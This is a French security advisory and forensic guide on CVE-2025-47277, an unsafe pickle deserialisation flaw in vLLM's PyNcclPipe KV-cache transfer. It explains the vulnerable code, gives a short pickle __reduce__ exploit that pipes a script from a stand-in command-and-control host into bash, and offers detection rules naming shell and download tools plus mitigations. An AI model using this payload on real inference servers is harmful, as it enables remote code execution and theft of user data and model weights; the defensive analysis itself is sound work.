Politiques réseau Kubernetes (NetworkPolicies)
Appliquer des NetworkPolicies strictes interdisant l’accès aux ports d’interconnexion (ex: 29500-29550) depuis l’extérieur du namespace vLLM.
Les moteurs d’inférence de modèles de langage (LLM) à haut débit reposent sur une gestion rigoureuse de la mémoire vidéo. Comme documenté dans notre étude de référence sur la Forensique de la mémoire GPU et du cache KV, la génération autorégressive impose de calculer et de conserver en mémoire les tenseurs d’attention intermédiaires pour chaque jeton (token) de contexte.
Pour optimiser le débit et réduire la latence dans les environnements de production, vLLM intègre une architecture de désagrégation Prefill et Decode (P/D Disaggregation) :
[Invite Client] ──> [Nœud Prefill (GPU 0-7)] │ │ Transfert du KV-Cache (PyNcclPipe / TCPStore) ▼ [CVE-2025-47277 Désérialisation Non Sécurisée] [Nœud Decode (GPU 0-7)] ──> [Réponse en Continu]Pour transférer des gigaoctets de tenseurs d’attention directement entre nœuds sans transiter par le disque ou des API REST lentes, vLLM a implémenté le composant PyNcclPipe. Ce composant s’appuie sur la bibliothèque NCCL (NVIDIA Collective Communications Library) et le démon distribué TCPStore de PyTorch pour synchroniser les métadonnées de mémoire et les descripteurs de tenseurs à travers le réseau.
La vulnérabilité découle de la conjonction de deux faiblesses d’architecture : un mécanisme de sérialisation intrinsèquement non hermétique et une écoute réseau excessivement permissive.
pickle.loads)Dans le fichier vllm/distributed/kv_transfer/kv_pipe/pynccl_pipe.py, la classe PyNcclPipe pilote les échanges point-à-point entre rangs de calcul. Lors de la phase de négociation de flux, les métadonnées décrivant la géométrie et l’emplacement des tenseurs sont transmises sur le socket réseau.
Le code utilisait directement le module standard pickle de Python pour désérialiser ces flux :
# Schéma du code vulnérable dans pynccl_pipe.pydef receive_tensor_metadata(self, sock): raw_data = self._recv_bytes(sock) # FAILLE CRITIQUE : Désérialisation directe d'un flux réseau non authentifié metadata = pickle.loads(raw_data) return metadataLe format pickle repose sur une machine à pile capable d’exécuter des instructions complexes. En définissant la méthode magique __reduce__, un objet sérialisé peut spécifier une fonction appelable quelconque (comme os.system ou subprocess.Popen) accompagnée d’arguments arbitraires, exécutés automatiquement dès l’appel à pickle.loads().
0.0.0.0)Les environnements de calcul distribué supposent traditionnellement que les communications internes s’effectuent sur un réseau privé isolé et digne de confiance (comme un VLAN InfiniBand ou un VPC dédié).
Néanmoins, la configuration du TCPStore de PyTorch utilisé par PyNcclPipe liait par défaut le socket d’écoute à 0.0.0.0 (toutes les interfaces IPv4 disponibles), au lieu de se restreindre à l’interface de bouclage locale (127.0.0.1) ou à une adresse de sous-réseau interne explicitement configurée.
Par conséquent, dès lors qu’un nœud de calcul ou un conteneur Kubernetes disposait d’une adresse IP publique ou était accessible depuis un réseau d’entreprise partagé, le service acceptait des connexions TCP entrantes non filtrées.
En l’absence de vérification cryptographique (TLS mutuel, jeton d’authentification ou signature HMAC), l’exploitation de la faille est triviale et entièrement automatisable.
TCPStore de PyTorch et aux workers vLLM (par défaut autour des ports 29500-29550 ou plages dynamiques).__reduce__ pour déployer un shell interactif ou extraire des données :
import pickleimport os
class Exploit: def __reduce__(self): return (os.system, ("curl -s http://c2.attacker.com/agent.sh | bash",))
payload = pickle.dumps(Exploit())pickle.loads(), déclenchant immédiatement l’exécution de la commande système dans le contexte du processus hôte.Comme exposé dans nos travaux sur la Sécurité au runtime pour les agents IA et l’architecture de l’injection d’outils, compromettre un serveur d’inférence confère des privilèges bien supérieurs à ceux d’un serveur web traditionnel :
/dev/nvidia*, /dev/kfd). L’attaquant peut dumper les pages mémoire du cache KV, interceptant les requêtes confidentielles des utilisateurs et les données d’entreprise non anonymisées./models/, montages NFS ou S3), lui permettant d’exfiltrer les poids de modèles propriétaires issus de processus de fine-tuning coûteux.hostNetwork: true et des capacités système étendues (IPC_LOCK, SYS_PTRACE). La prise de contrôle du processus vLLM entraîne souvent la compromission directe du nœud physique hôte.Les analystes DFIR intervenant sur un cluster d’inférence suspect doivent investiguer les plans télémétriques suivants :
\x80\x02, \x80\x03, \x80\x04, \x80\x05.cposix\nsystem, csubprocess\nPopen, cos\nsystem.En régime nominal, le processus parent vLLM (python -m vllm.entrypoints...) ne doit engendrer que des threads de calcul CUDA/NCCL ou des sous-processus de calcul internes.
Rechercher impérativement des processus enfants anormaux, selon les méthodologies présentées dans l’analyse de la lignée de processus et l’analyse des processus et de la mémoire sous Linux :
python3 (vllm) → /bin/shpython3 (vllm) → /bin/bashpython3 (vllm) → curl, wget, nc, socatpython3 (vllm) → chmod +xLes attaquants déposent généralement des scripts ou extraient des blocs de mémoire vers des dossiers temporaires inscriptibles (/tmp, /dev/shm, /var/tmp), comme documenté dans Exfiltration et staging de données sous Linux.
title: Processus shell suspect engendré par un worker vLLM (CVE-2025-47277)id: 7f8a1290-3b4c-4e11-9a72-b9e4a5254727status: productiondescription: Détecte l'apparition d'un shell interactif ou d'un utilitaire de téléchargement exécuté par le processus vLLM, signalant l'exploitation de la CVE-2025-47277.references: - https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv - https://nvd.nist.gov/vuln/detail/CVE-2025-47277author: Hermes Codex DFIR Labdate: 2026-09-06logsource: category: process_creation product: linuxdetection: selection_parent: ParentCommandLine|contains: - 'vllm' - 'vllm.entrypoints' - 'RayWorker' selection_children: Image|endswith: - '/bin/sh' - '/bin/bash' - '/bin/dash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' - '/usr/bin/ncat' - '/usr/bin/socat' condition: selection_parent and selection_childrenfalsepositives: - Scripts d'orchestration internes légitimes invoqués lors du déploiement (à documenter dans les exclusions du SIEM).level: criticaltags: - attack.execution - attack.t1059.004 - attack.t1203 - cve.2025.47277- rule: Shell suspect engendré par un conteneur vLLM desc: Détecte l'exécution d'un shell interactif par un processus vLLM au sein d'un conteneur d'inférence condition: > spawned_process and container and (proc.pname = "python" or proc.pname = "python3") and (proc.pcmdline contains "vllm" or proc.pcmdline contains "vllm.entrypoints") and (proc.name in (sh, bash, zsh, dash, curl, wget, nc, python, python3)) output: > Processus suspect exécuté par vLLM (utilisateur=%user.name commande=%proc.cmdline parent=%proc.pname cmdline_parent=%proc.pcmdline conteneur=%container.id image=%container.image.repository) priority: CRITICAL tags: [container, execution, ai_security, cve_2025_47277]Déployer sans délai vLLM version 0.8.5 ou supérieure. Le correctif officiel :
0.0.0.0 et contraint l’initialisation du socket TCPStore à l’interface réseau privée expressément configurée.Lorsque la mise à jour logicielle immédiate est différée par des impératifs de validation :
Politiques réseau Kubernetes (NetworkPolicies)
Appliquer des NetworkPolicies strictes interdisant l’accès aux ports d’interconnexion (ex: 29500-29550) depuis l’extérieur du namespace vLLM.
Forçage de l'interface d'écoute
Définir les variables d’environnement réseau (VLLM_HOST_IP, NCCL_SOCKET_IFNAME) sur l’IP interne privée du nœud pour empêcher l’exposition sur les cartes réseau publiques.
Suppression de hostNetwork
Bannir la directive hostNetwork: true dans les manifestes de déploiement afin de confiner le processus dans son espace de noms réseau (network namespace).